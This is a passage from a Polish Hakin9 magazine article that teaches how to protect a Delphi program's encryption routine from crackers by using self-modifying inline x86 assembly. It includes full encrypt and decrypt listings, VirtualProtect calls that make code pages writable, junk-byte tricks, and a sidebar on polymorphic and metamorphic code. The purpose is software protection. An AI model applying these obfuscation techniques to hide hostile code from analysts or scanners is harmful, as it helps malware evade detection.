$

000000F

);

HexStr

[

2

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$000000

F0

)

shr

4

);

HexStr

[

3

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$00000

F00

)

shr

8

);

HexStr

[

4

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$0000

F000

)

shr

12

);

HexStr

[

5

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$000

F0000

)

shr

16

);

HexStr

[

6

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$00

F00000

)

shr

20

);

HexStr

[

7

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$0

F000000

)

shr

24

);

HexStr

[

8

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$

F0000000

)

shr

28

);

outStr

:=

outStr

+

HexStr

;

end

;

EncryptStr

:=

outStr

;

end

;

Rysunek 1.

Widok okna testowej aplikacji

SMC

Rysunek 2.

Widok źródła Pascala

podczas śledzenia aplikacji

Przykład działania

funkcji szyfrującej SMC

Tekst wejściowy: Hakin9
Tekst wyjściowy: 5AFFFFFF36FFFFFF88FFFFF
FD4000000B6000000F3000000

background image

ATAK

26

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

27

HAKIN9

6/2008

Listing 2a.

Funkcja szyfrująca z wstawkami asemblerowymi SMC

{ Funkcja szyfrująca – wersja z zastosowaniem SMC
InputStr – łańcuch wejściowy przeznaczony do zakodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

SMC_EncryptStr

(

InputStr

,

HashStr

:

AnsiString

):

AnsiString

;

var

i

,

delta

,

EncVal

:

Integer

;

OldProtect

:

Integer

;

{ Oryginalna wartość flag praw dostępu

do modyfikowanego kodu}

Char1

,

Char2

:

Char

;

StartAddr

:

Pointer

;

{ Początkowy adres bloku modyfikowanego

kodu – etykieta l1 }

CodeSize

:

Integer

;

{ Rozmiar bloku modyfikowanego kodu

– między etykietami l1 i l9 }

HexStr

:

AnsiString

;

outStr

:

AnsiString

;

label

l0

,

l1

,

l2

,

l3

,

l4

,

l5

,

l6

,

l7

,

l8

,

l9

;

begin

outStr

:=

''

;

if

Length

(

InputStr

)

<>

Length

(

HashStr

)

then

Exit

;

SetLength

(

HexStr

,

8

);

{ Obliczenie rozmiaru bloku modyfikowanego kodu }

asm

MOV

EAX

,

OFFSET

l1

{ Pobranie adresu etykiety l1 do

EAX (początek) }

MOV

StartAddr

,

EAX

{ Przepisanie zawartości

akumulatora do odpowiedniej zmiennej }

MOV

EAX

,

OFFSET

l9

{ Pobranie adresu etykiety l9 do

EAX (koniec) }

SUB

EAX

,

OFFSET

l1

{ Obliczenie rozmiaru kodu jako

różnicy adresów l9 i l1 }

MOV

CodeSize

,

EAX

{ Zapisanie wyniku odejmowania w

odpowiedniej zmiennej }

end

;

{ Ustawienie praw do wykonywania, odczytu i zapisu (PAGE_

EXECUTE_READWRITE ) w

interesującym nas obszarze pamięci (stronie) z

zapamiętaniem oryginalnych atrybutów }

VirtualProtect

(

StartAddr

,

CodeSize

,

PAGE_EXECUTE_READWRITE

,

@

OldProtect

);

{ Główna pętla funkcji }

for

i

:=

1

to

Length

(

InputStr

)

do

begin

Char1

:=

InputStr

[

i

];

Char2

:=

HashStr

[

i

];

asm

MOV

EAX

,

OFFSET

l3

{ Zapisanie adresu etykiety

l3 w rejestrze akumulatora EAX }

PUSH

EAX

{ Odłożenie zawartości EAX na stosie

– do późniejszych obliczeń }

MOV

BYTE

PTR

[

EAX

]

,

AH

{ Zapisanie pod adresem

l3 losowej wartości z AH }

MOV

AL

,

Char2

{ Pobranie do AL znaku z łańcucha

klucza }

MOV

BYTE

PTR

l4

+

2

,

AL

{ Zapisanie kodu znaku z

AL 2 bajty za adresem l4 }

POP

EDX

{ Zdjęcie ze stosu uprzednio

zapamiętanej zawartości EAX i zapis do
EDX }

MOV

WORD

PTR

l1

,

CX

{ Zapis losowego słowa z CX

pod adresem etykiety l1 }

JMP

l7

l0

:

MOV

DWORD

PTR

l9

-

4

,

EBX

{ Zapis losowego

podwójnego słowa z EBX przed l9 }

JMP

l5

l1

:

DW

0

F00Fh

{ Początkowy „śmieciowy kod” – tu

znajdzie się później rozkaz skoku do l8
}

l2

:

JMP

SMALL

l2

{ Nieużywany kod – „zmyłka” }

l3

:

DD

0

FF0A0032h

{ Początkowy „śmieciowy kod” }

DB

0

Bh

{ Kawałek kodu krótkiego skoku względnego

(0EBh) – JMP SHORT }

@

sub_opcode

:

{ kod odpowiadający operacji: delta :=

Ord(Char1) – Ord(Char2); }

SUB

EAX

,

EDX

@

add_opcode

:

{ kod odpowiadający operacji: delta +

i; }

ADD

EAX

,

i

NOP

@

xor_opcode

:

{ kod odpowiadający operacji: (delta + i)

xor Ord(Char2); }

XOR

EAX

,

EDX

l4

:

JMP

SMALL

l2

{ Nieużywany kod – „zmyłka” }

DB

01

h

{ Początkowy „śmieciowy kod” }

l5

:

MOV

AL

,

Char1

{ Pobranie do AL znaku z łańcucha

wejściowego – „zmyłka” :-) }

{ Pobranie do AL bajtu z pamięci pod adresem [EDX + 4] (w

EDX jest adres etykiety l3

zapamiętany na samym początku iteracji sekwencją: MOV

EAX, OFFSET l3; POP EDX)

[EDX + 4] wskazuje na bajt DB 0Bh będący częścią kodu

instrukcji krótkiego skoku

względnego SHORT JMP rel_addr }

MOV

AL

,

BYTE

PTR

[

EDX

+

4

]

OR

AL

, 0

E0h

{ Wykonanie operacji OR z maską

0E0h – w wyniku otrzymujemy 0EBh }

MOV

BYTE

PTR

l1

,

AL

{ Zapis kodu rozkazu JMP

SHORT pod adresem l1 }

MOV

EAX

,

OFFSET

l8

{ Zapis do EAX adresu

etykiety l8 }

SUB

EAX

,

OFFSET

l1

{ Odjęcie od adresu l8 adresu

l1 }

SUB

EAX

,

2

{ Zmniejszenie wyniku o 2, czyli o

rozmiar rozkazu JMP z argumentem }

MOV

BYTE

PTR

l1

+

1

,

AL

{ Zapis obliczonego

argumentu rozkazu JMP }

JMP

SMALL

l1

{ Skok do l1 gdzie jest już

„zbudowany” rozkaz skoku do l8 }

l6

:

JMP

SMALL

l8

{ Nieużywany kod – kolejna „zmyłka”

}

l7

:

NOP

JMP

l0

DW

1427

h

{ Początkowy „śmieciowy kod” }

l8

:

MOV

AX

,

WORD

PTR

@

sub_opcode

{ Pobranie kodu

rozkazu SUB EAX, EDX }

MOV

WORD

PTR

@

sub

,

AX

{ Nadpisanie śmieci pod

adresem @sub kodem rozkazu }

MOVZX

EAX

,

Char1

MOVZX

EDX

,

Char2

@

sub

:

DW

0000

h

{ Początkowy „śmieciowy kod” – tu znajdzie

się później SUB EAX, EDX }

MOV

delta

,

EAX

MOV

EAX

,

DWORD

PTR

@

add_opcode

{ Pobranie kodu

rozkazu ADD EAX, EDX }

background image

ATAK

26

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

27

HAKIN9

6/2008

Listing 2b.

Funkcja szyfrująca z wstawkami asemblerowymi SMC

MOV

DWORD

PTR

@

add

,

EAX

{ Nadpisanie śmieci pod

adresem @add }

MOV

EAX

,

delta

@

add

:

DD

01010000

h

{ Początkowy „śmieciowy kod” – tu

znajdzie się później ADD EAX, i }

MOV

DX

,

WORD

PTR

@

xor_opcode

{ Pobranie kodu

rozkazu XOR EAX, EDX }

MOV

WORD

PTR

@

xor

,

DX

{ Nadpisanie śmieci pod

adresem @xor }

MOVZX

EDX

,

Char2

@

xor

:

DW

4523

h

{ Początkowy „śmieciowy kod” – tu znajdzie

się później XOR EAX, EDX }

MOV

EncVal

,

EAX

MOV

WORD

PTR

@

sub

,

AX

{ Zamazanie kodu w @sub

losową wartością z AX }

MOV

DWORD

PTR

@

add

,

EAX

{ Zamazanie kodu w @add

losową wartością z EAX }

MOV

WORD

PTR

@

xor

,

DX

{ Zamazanie kodu w @xor

losową wartością z DX }

JMP

SMALL

l9

{ Ominięcie śmieci poprzez skok do

l9 }

DD

3422

A0F3h

{ Początkowy „śmieciowy kod” }

l9

:

MOV

WORD

PTR

l1

,

CX

{ Zamazanie kodu skoku w l1

losową wartością z CX }

end

;

{ Zamiana obliczonej wartości wyjściowej na zapis

szesnastkowy (jako liczby 32-bitowej) }

HexStr

[

1

]

:=

SMC_Byte2HexStr15

(

EncVal

and

$

000000F

);

HexStr

[

2

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$000000

F0

)

shr

4

);

HexStr

[

3

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$00000

F00

)

shr

8

);

HexStr

[

4

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$0000

F000

)

shr

12

);

HexStr

[

5

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$000

F0000

)

shr

16

);

HexStr

[

6

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$00

F00000

)

shr

20

);

HexStr

[

7

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$0

F000000

)

shr

24

);

HexStr

[

8

]

:=

SMC_Byte2HexStr15

((

EncVal

and

$

F0000000

)

shr

28

);

outStr := outStr + HexStr;

end

;

{ Przywrócenie oryginalnych praw dostępu do strony

zawierającej modyfikowany kod }

VirtualProtect

(

StartAddr

,

CodeSize

,

OldProtect

,

@

OldProtect

);

SMC_EncryptStr

:=

outStr

;

end

;

Charakterystyka SMC

Cel stosowania:

Utrudnienie deasemblacji i analizy kodu programu w celu ochrony algorytmów zabezpieczających program przed nieuprawnionym użytkowaniem.

Zasada działania:

Dynamiczna modyfikacja kodu programu w czasie jego działania, szyfrowanie wybranych sekcji kodu, wprowadzanie do kodu programu fałszywych
instrukcji lub nawet kodu nie reprezentującego żadnej rozpoznawanej przez procesor instrukcji, przemieszczanie sekcji zaszyfrowanego kodu do różnych
miejsc w pamięci, gdzie – po odszyfrowaniu – następuje jego wykonanie, np. na stosie.

Stosowane metody:

prosty polimorfizm,

zaawansowany polimorfizm,

metamorfizm.

Prosty polimorfizm:

Umożliwia ciągłą zmienność kodu przy każdym uruchomieniu programu oraz zabezpiecza go poprzez zastosowanie szyfrowania. Na początku
właściwego kodu część deszyfrująca, na podstawie losowego klucza zapisanego w zaszyfrowanym kodzie, rozkodowuje zawarte za nią instrukcje. Prosta
metoda, łatwa do wykrycia i obejścia.

Zaawansowany polimorfizm:

Jest to rozwinięcie podstawowej metody polimorficznej, wzbogacone o:

wymienianie grup instrukcji między sobą,

generowanie różnych instrukcji wykonujących tę samą operację,

stosowanie wywołań niepotrzebnych podprogramów,

stosowanie dużej ilości skoków warunkowych,

wtrącanie między instrukcje programu niepotrzebnego, losowego kodu („śmieciowy kod” – ang. junk code).
Kombinacja wymienionych powyżej technik znacznie utrudnia śledzenie aplikacji, a dokładnie – funkcji deszyfrującej właściwy kod.

Metamorfizm:

Największą wadą kodu polimorficznego jest to, że po jego odkodowaniu jest on dostępny w pamięci w postaci pozwalającej na łatwe prześledzenie.
Metamorfizm polega na całkowitej przebudowie oryginalnego kodu, który w przypadku metod polimorficznych jest tylko szyfrowany. Jest to efektywna
metoda zabezpieczająca, ale jednocześnie trudna w stosowaniu. Istnieją specjalne narzędzia do automatycznego wykonywania odpowiednich
przekształceń kodu (np: www.defendion.com).

background image

ATAK

28

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

29

HAKIN9

6/2008

wartość licznika pętli, i kodzie znaku z
łańcucha losowego klucza

(EncVal :

= (delta + i) xor Ord(Char2);)

.

Wartość delta jest różnicą między

znakiem wejściowym a odpowiadającym
mu znakiem z klucza

(delta :

= Ord(Char1) – Ord(Char2);)

.

Algorytm można oczywiście uzależnić

od dodatkowych zmiennych i pośrednich
obliczeń, komplikując w ten sposób
proces uzyskania wartości wyjściowej.
Można też wprowadzić modyfikacje

Listing 3.

Funkcja deszyfrująca z wstawkami asemblerowymi SMC

{ Funkcja deszyfrująca – wersja z zastosowaniem SMC
InputStr – łańcuch wejściowy przeznaczony do odkodowania
HashStr – losowy łańcuch pełniący rolę klucza szyfrowania }

function

SMC_DecryptStr

(

InputStr

,

HashStr

:

AnsiString

):

AnsiString

;

var

i

,

delta

,

EncVal

:

Integer

;

OldProtect

:

Integer

;

Char1

,

Char2

:

Char

;

StartAddr

:

Pointer

;

CodeSize

:

Integer

;

outStr

:

AnsiString

;

label

l0

,

l1

,

l2

,

l3

,

l4

,

l5

,

l6

,

l7

,

l8

,

l9

;

begin

outStr

:=

''

;

asm

MOV

EAX

,

OFFSET

l1

MOV

StartAddr

,

EAX

MOV

EAX

,

OFFSET

l9

SUB

EAX

,

OFFSET

l1

MOV

CodeSize

,

EAX

end

;

VirtualProtect

(

StartAddr

,

CodeSize

,

PAGE_EXECUTE_READWRITE

,

@

OldProtect

);

for

i

:=

1

to

Length

(

InputStr

)

div

8

do

begin

Char2

:=

HashStr

[

i

];

encVal

:=

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

1

]);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

2

])

shl

4

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

3

])

shl

8

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

4

])

shl

12

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

5

])

shl

16

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

6

])

shl

20

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

7

])

shl

24

);

encVal

:=

encVal

or

(

SMC_HexStr2Integer15

(

InputStr

[

8

*

(

i

-

1

)

+

8

])

shl

28

);

asm

MOV

EAX

,

OFFSET

l3

PUSH

EAX

MOV

BYTE

PTR

[

EAX

]

,

AH

MOV

AL

,

Char2

MOV

BYTE

PTR

l4

+

2

,

AL

POP

EDX

MOV

WORD

PTR

l1

,

CX

JMP

l7

l0

:

MOV

DWORD

PTR

l9

-

4

,

EBX

JMP

l5

l1

:

DW

0

F00Fh

l2

:

JMP

SMALL

l2

l3

:

DD

0

FF0A0032h

DB

0

Bh

@

add_opcode

:

ADD

EAX

,

EDX

@

sub_opcode

:

SUB

EAX

,

i

NOP

@

xor_opcode

:

XOR

EAX

,

EDX

l4

:

JMP

SMALL

l2

DB

01

h

l5

:

MOV

AL

,

Char1

MOV

AL

,

BYTE

PTR

[

EDX

+

4

]

OR

AL

, 0

E0h

MOV

BYTE

PTR

l1

,

AL

MOV

EAX

,

OFFSET

l8

SUB

EAX

,

OFFSET

l1

SUB

EAX

,

2

MOV

BYTE

PTR

l1

+

1

,

AL

JMP

SMALL

l1

l6

:

JMP

SMALL

l8

l7

:

NOP

JMP

l0

DW

1427

h

l8

:

MOV

DX

,

WORD

PTR

@

xor_opcode

MOV

WORD

PTR

@

xor

,

DX

MOV

EAX

,

EncVal

MOVZX

EDX

,

Char2

@

xor

:

DW

4523

h

MOV

delta

,

EAX

MOV

EAX

,

DWORD

PTR

@

sub_opcode

MOV

DWORD

PTR

@

sub

,

EAX

MOV

EAX

,

delta

@

sub

:

DD

01010000

h

MOV

delta

,

EAX

MOVZX

EDX

,

Char2

MOV

AX

,

WORD

PTR

@

add_opcode

MOV

WORD

PTR

@

add

,

AX

MOV

EAX

,

delta

@

add

:

DW

0000

h

MOV

Char1

,

AL

MOV

DWORD

PTR

@

sub

,

EAX

MOV

WORD

PTR

@

add

,

AX

MOV

WORD

PTR

@

xor

,

DX

JMP

SMALL

l9

DD

3422

A0F3h

l9

:

MOV

WORD

PTR

l1

,

CX

end

;

outStr

:=

outStr

+

Char1

;

end

;

VirtualProtect

(

StartAddr

,

CodeSize

,

OldProtect

, @

OldProtect

);

SMC_DecryptStr

:=

outStr

;

end

;

background image

ATAK

28

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

29

HAKIN9

6/2008

do kodu generującego szesnastkową
reprezentację wyjściowych wartości w
postaci tekstowej.

Okno programu testowego z

widocznymi rezultatami szyfrowania i
deszyfrowania jest przedstawione na
Rysunku 1.

Funkcję szyfrującą SMC zawiera Listing

2a,b., natomiast funkcja deszyfrująca

SMC

jest pokazana na Listingu 3. Listing 2a,b.
jest bogato komentowany, aby umożliwić
Czytelnikowi prześledzenie krok po kroku
operacji wykonywanych przez program.
Kod z Listingu 3. jest analogiczny – realizuje
w odwrotnej kolejności operacje z Listingu
2a,b. Na Listingu 3. nie zamieszczałem
już komentarzy, aby nie wydłużać kodu
i ukazać go w czystej postaci. Dla

niewtajemniczonych w wykorzystywaniu
asemblera w kodzie Pascala zamieściłem
w ramce małą ściągę wyjaśniającą
znaczenie wykorzystywanych w programie
dyrektyw i mnemonik instrukcji asemblera.
Jest to oczywiście bardzo skrótowe
wyjaśnienie i nie zastąpi porządnego
podręcznika asemblera i architektury
mikroprocesorów rodziny

x86

stosowanych

w komputerach PC.

Zawartość wstawek asemblerowych w

obydwóch funkcjach może wydawać się
zagmatwana, ale właśnie o to nam przecież
chodzi. Jednak niejasny wygląd kodu
źródłowego to nie koniec niespodzianek
dla osoby chcącej prześledzić ten kod
po kompilacji i uruchomieniu. Przy każdej
iteracji pętli for niektóre elementy kodu

będą ulegać losowej zmianie, powodując
pojawianie się bezsensownych, wręcz
absurdalnych ciągów instrukcji w programie
śledzącym. Nawet po podświetleniu
jednej z takich podmienionych instrukcji, w
rzeczywistości kod zawarty w jej miejscu w
danym momencie w pamięci będzie inny
i wykona właściwe obliczenia. Pozostanie
tylko śledzenie zawartości rejestrów i
domysły, jakie operacje arytmetyczne lub
logiczne mogły doprowadzić do określonych
wyników. Na pewno jest to dużo trudniejsze
od prześledzenia zwykłego, statycznego
kodu z niezmiennymi instrukcjami i
prezentacją mnemonik odpowiadających
rzeczywiście wykonywanym rozkazom.

Zanim wyjaśnię zasadę działania

obydwóch funkcji, przyjrzyjmy się najpierw

Dyrektywy i rozkazy BASM Delphi (Built-In Assembler) wykorzystywane w

przykładowym programie

Wykorzystywane dyrektywy wbudowanego asemblera Delphi:

OFFSET x – zwraca adres identyfikatora x (zmiennej, etykiety, podprogramu),

DB n – wstawia w kod programu bajt o wartości n (Define Byte),

DW n – wstawia w kod programu słowo o wartości n (Define Word),

DD n – wstawia w kod programu podwójne słowo o wartości n (Define Double word).

Stosowane oznaczenia:

imm – wartość bezpośrednia 8-, 16- lub 32-bitowa (literał),

mem – adres pamięci (identyfikator zmiennej, etykiety, podprogramu),

rel8 – 8-bitowa wartość adresu względnego (jako liczba ze znakiem: -128 – 127),

Rn – rejestr CPU o numerze n.

Rejestry CPU w architekturze x86:

EAX – akumulator (32 bity), główny rejestr CPU wykorzystywany w obliczeniach,

AX – akumulator (16 mniej znaczących bitów EAX),

AL – akumulator (8 mniej znaczących bitów AX),

AH – akumulator (8 bardziej znaczących bitów AX).

Pozostałe wykorzystywane rejestry (EBX, ECX, EDX) podlegają takiemu samemu podziałowi, jak rejestr EAX – z zachowaniem analogicznych

konwencji nazewniczych.
Tu ważna uwaga: można dowolnie modyfikować EAX, ECX, EDX, natomiast pozostałe rejestry powinny być zapamiętane na stosie przed ich

ewentualną modyfikacją (dotyczy to między innymi: EDI, ESI, ESP, EBP, EBX), a na końcu funkcji ich zawartości powinny być przywrócone. Jest to

wymóg kompilatora języka wysokiego poziomu (w tym przypadku Delphi). W przypadku pisania programu w całości w asemblerze takie ograniczenia nie
obowiązują.
Wykorzystywane rozkazy wbudowanego asemblera Delphi:

MOV R1, R2 – skopiowanie zawartości rejestru R2 do R1,

MOV R, imm – wpisanie do rejestru R bezpośredniej wartości imm ,

MOV mem, R – wpisanie do komórki pamięci mem wartości z rejestru R ,

MOV R, mem – wpisanie do rejestru R wartości z komórki pamięci mem,

PUSH R – odłożenie na stos zawartości rejestru R ,

POP R – zdjęcie ze stosu liczby i zapisanie jej w rejestrze R ,

ADD R1, R2 – wykonanie operacji: R1 = R1 + R2,

SUB R1, R2 – wykonanie operacji: R1 = R1 – R2,

SUB R, imm – wykonanie operacji: R = R – imm ,

XOR R1, R2 – wykonanie operacji: R1 = R1 xor R2,

JMP SHORT rel8 – krótki bezwarunkowy skok względny (rel8 bajtów względem JMP).

Uwaga:
Zapisy BYTE PTR [R], WORD PTR[R], DWORD PTR [R] oznaczają komórkę pamięci wskazywaną przez zawartość rejestru R (odpowiednio: bajt,

słowo, podwójne słowo).
Czyli zapis R oznacza odwołanie się do zawartości rejestru R , a zapis [R] oznacza odwołanie się do zawartości pamięci pod adresem zapisanym w

rejestrze R.

background image

ATAK

30

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

31

HAKIN9

6/2008

efektom działania

SMC

, pokazanym na

kolejnych Rysunkach (2-7).

Rysunek 2. przedstawia okno kodu

Pascala podczas sesji debuggera ze
wskaźnikiem w linii 144.

Odpowiadający tej sytuacji kod

asemblera jest pokazany na Rysunku 3.
(zakładka

CPU debuggera

). Aby podejrzeć

skompilowany program Delphi w postaci
niskopoziomowej należy ustawić pułpakę
(breakpoint) we wnętrzu naszej funkcji
szyfrującej

SMC _ EncryptStr

(trzeba

kliknąć niebieski punkt przy odpowiedniej
linii, znajdujący się z lewej strony okna
kodu źródłowego). Po uruchomieniu
programu i wywołaniu funkcji program
zostanie zatrzymany w wybranej linii. Od
tej chwili będą dostępne dodatkowe okna
debuggera (

CPU i FPU

). Nas interesuje

okno CPU, które zawiera kod programu w
asemblerze z odpowiadającym mu kodem
w Pascalu. Okno zawiera też informacje o
wszystkich rejestrach CPU, stosie wywołań
(call stack), zmiennych lokalnych (local
variables
) oraz obraz pamięci danych. Okno
wywołujemy kombinacją klawiszy [Ctrl+Alt+C]
lub otwierając odpowiednią opcję menu
View->Debug Windows->CPU. Przy pomocy
klawiszy [F7] i [F8] wykonujemy krok po kroku
pojedyńcze instrukcje linia po linii, tak jak w
oknie Pascala podczas śledzenia programu
na wysokim poziomie. Po wykonaniu każdego
rozkazu mozemy obserwować zmiany
jakie wprowadził on do rejestrów i pamięci
danych. Zmienia się też zdeasemblowany
kod w wyniku samomodyfikacji --
debugger pokazuje kod nieodpowiadający
wykonywanemu w rzeczywistości.

W linii 156 (etykieta l1) mamy po

prostu deklarację podwójnego słowa o
wartości

0F00Fh

. Jak widać w oknie

CPU

,

ten ciąg bajtów nie koduje żadnej instrukcji
procesora i został zinterpretowany przez
deasembler jako ciąg:

DB $0F $F0

. Tu

mała uwaga: jesteśmy w uprzywilejowanej
sytuacji, bo program został skompilowany
z informacjami dla debuggera – dlatego
wiemy, jaka linia kodu źródłowego
odpowiada konkretnej linii wygenerowanego
kodu. Aplikacja przeznaczona do
rozpowszechniania jest kompilowana
bez tych dodatkowych informacji, więc
potencjalny cracker nie jest w takiej
komfortowej sytuacji jak my teraz.

Na Rysunku 4. widać wykonujący się,

rzekomo bezsensowny kod. Jednak ciąg

Rysunek 3.

Widok źródła asemblera skompilowanego programu podczas śledzenia aplikacji

Rysunek 4.

Bezsensowny kod w oknie CPU

background image

ATAK

30

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

31

HAKIN9

6/2008

db $0f $f0

nie powoduje wywołania

wyjątku z informacją o napotkaniu
nieprawidłowego kodu instrukcji,
lecz wykonuje działania, jakie zostały
zaplanowane. W miejsce to został
wcześniej podstawiony przez naszą
funkcję właściwy kod (tu jest to rozkaz
krótkiego skoku względnego –

JMP

SHORT

, o kodzie

0EBh

). Podstawienie nie

zostało wykonane bezpośrednio, ale po
kawałku
w różnych miejscach programu.
Instrukcja została jakby obliczona i wynik
odpowiednich operacji arytmetycznych,
rozrzuconych w kodzie pętli, utworzył w
wyniku kod instrukcji skoku. Oczywiście
wszystkie operacje można jeszcze
bardziej zagmatwać. Tu chciałem pokazać
zasadę tworzenia takiego kodu, starając
się nie komplikować niepotrzebnie listingu,
który i tak już jest dość złożony.

Na Rysunku 5. widać trzy dziwne

instrukcje (linia 187). W tym miejscu
w źródle programu jest deklaracja

DW 1227h

, co widać w oknie

CPU

.

Jednak taka wartość znajdowała się
tam podczas startu programu i już się
zmieniła, ale debugger nie mógł tego
oczywiście zarejestrować. Po wykonaniu
tego kodu zostanie on zamazany losową
zawartością i ponownie wygenerowany
w następnej iteracji. Oprócz opisanych
powyżej efektów, program został
napisany tak, aby wykonywał się
nieregularnie – to znaczy co chwila
wykonywane są skoki w przód i w tył
z modyfikacjami kodu. To dodatkowe
utrudnienie podczas śledzenia programu
w debuggerze.

Rysunek 6. przedstawia kolejny

przykład fałszywego kodu programu.
Natomiast na Rysunku 7. widzimy
ponownie początek pętli funkcji szyfrującej
z widoczną pułapką (ang. breakpoint),
która została przedstawiona na Rysunku 1.
i 2. Proszę porównać linię 156 na Rysunku
1 z tą samą linią na Rysunku 7. Zamiast

DB $0F $F0

pojawiły się nowe instrukcje:

PUSH EAX i HLT

. Podobne różnice widać

w niższych liniach (160, 161, 171). Warto
zwrócić uwagę na to, co stało się w linii
161. Jeden podstawiony bajt zmienił
całkowicie znaczenie kolejnych 6 bajtów.
Zamiast sekwencji:

„SUB EAX,EDX;

ADD EAX, mem32; NOP”

mamy:

„OR

EBP,[ECX]; ROL [EBX],1; INC EBP;
LOCK NOP”

.

Rysunek 5.

Kolejny przykład bezsensownego kodu

Rysunek 6.

Jeszcze jedna niespodzianka

background image

ATAK

32

HAKIN9 6/2008

Szczegóły implementacji

Na początku każdej z funkcji obliczany
jest rozmiar kodu zawartego we wstawce
asemblerowej w pętli for. Ta informacja
jest potrzebna do wywołania systemowej
funkcji

Windows AP

I:

BOOL WINAPI VirtualProtect( _ _

in LPVOID lpAddress, _ _ in SIZE _ T
dwSize, _ _ in DWORD flNewProtect,
_ _ out PDWORD lpflOldProtect)

;

Służy ona do zmieniania praw dostępu

do wybranego obszaru pamięci. Aby
możliwe było modyfikowanie programu
przez niego samego, należy ustawić
zezwolenie na zapis w segmencie kodu,
w którym zawarta jest nasza wstawka
asemblerowa. Funkcja pobiera adres
początkowy, rozmiar (w bajtach) bloku
pamięci, którego mają dotyczyć zmiany,
nowe atrybuty dostępu. Zwraca w
ostatnim argumencie bieżące ustawienia,
aby można było je później przywrócić
– co jest wykonywane na końcu funkcji
szyfrującej. Bez wywołania tej funkcji
otrzymalibyśmy wyjątek z informacją o
braku możliwości zapisu w wybranym
obszarze pamięci (tu – w kodzie naszej

funkcji). Po tej operacji rozpoczyna się
pętla, w której kolejno pobierane są znaki z
łańcuchów wejściowych. Na początku pętli
modyfikowane są wybrane bajty w obrębie
etykiet l1 i l4. Następnie wykonywany jest
skok do etykiety l7, skąd wykonywany jest
skok do l0 – gdzie odbywa się modyfikacja
czterech bajtów zawartych przed etykietą
l9. Po tej operacji wykonywanie programu
przenosi się do etykiety l5, gdzie obliczany
jest kod rozkazu

JMP SHORT

przy etykiecie

l1 oraz argument dla niego – względne
położenie etykiety l8. Wygenerowanie kodu
rozkazu

JMP

SHORT

odbywa się w dwóch

krokach. Na początku pętli do rejestru

EDX

jest wpisywany adres etykiety l3 poprzez
umieszczenie na stosie zawartości

EAX

i zdjęcie tej wartości do

EDX

. W pobliżu

etykiety l3 znajduje się wartość

DB

0Bh

.

Ta wartość jest wprowadzana do

AL

w

momencie przejścia do l5. Jak pamiętamy,
adres tej wartości jest odłożony w

EDX

.

Po wykonaniu operacji

OR

na zawartości

rejestru

AL

z argumentem

0E0h w AL

otrzymujemy kod

JMP SHORT – 0EBh

. Kod

ten jest wstawiany pod adresem etykiety
l1 oraz uzupełniany o obliczony argument.

Wykonywany jest skok do l1, a z l1 do l8,
gdzie wykonywane są właściwe operacje
na łańcuchach wraz z generowaniem, z
wyprzedzeniem, odpowiednich instrukcji.

Podobnie przedstawia się sprawa

funkcjonowania funkcji dekodującej.

Proponowane rozwiązanie nie

pretenduje absolutnie do uznania za
cudowną metodę rozwiązującą wszystkie
problemy, jednak sądzę, że spełnia swoją
funkcję znacznego uprzykrzenia procesu
rozpracowywania kodu odpowiedzialnego
za zabezpieczenia przed nieuprawnionym
korzystaniem z aplikacji.

Podsumowanie

Przedstawione metody pozwalają
znacznie utrudnić analizę i deasemblację
skompilowanego programu. Jak było
wcześniej wspomniane, nic nie stoi
na przeszkodzie aby jeszcze bardziej
skomplikować funkcję kodującą.
Można dodać bardziej złożone metody
generowania kodu w czasie wykonania,
tak jak to zostało pokazane na przykładzie
rozkazu krótkiego skoku i rozkazów
obliczających kod znaku w łańcuchu
wyjściowym. Podstawą jest oczywiście
sam algorytm szyfrujący. Im bardziej
będzie zagmatwany i uzależniony od
większej liczby powiązanych ze sobą
zmiennych tym lepiej. Jednak cały wysiłek
może być daremny, jeśli ktoś pójdzie
na skróty
i bezpośrednio dobierze
się do naszego kodu w celu odkrycia
samego algorytmu, zamiast próbować
dochodzić do zależności między
kluczem, a wyjściowym łańcuchem.
Przerobienie funkcji na wersję SMC
chroni sam kod przed odkryciem naszej
metody szyfrowania/deszyfrowania.
Bez tej ochrony rozgryzienie kodu i
napisanie generatora kluczy nie będzie
dla crackera dużym problemem. Nie
jesteśmy oczywiście stuprocentowo
zabezpieczeni jednak mamy pewność,
że prawdopodobieństwo rozpracowania
naszej funkcji znacznie zmaleje.

Rysunek 7.

Druga iteracja – pojawił się nowy kod

Artur Kozubski

Autor jest programistą aplikacji internetowych i baz

danych w sklepie internetowym Gigant.pl. Współpracuje

jako mechatronik-programista systemów sterowania

maszynami CNC z firmą Ximplant Medical Systems,

rozwijającą się w Warszawskim Inkubatorze Technologii

TechnoPort. Z wykształcenia mechatronik. Obecnie

student informatyki w Polsko-Japońskiej Wyższej Szkole

Technik Komputerowych.

Kontakt z autorem: artkocoder@gmail.com

background image
background image

34

HAKIN9
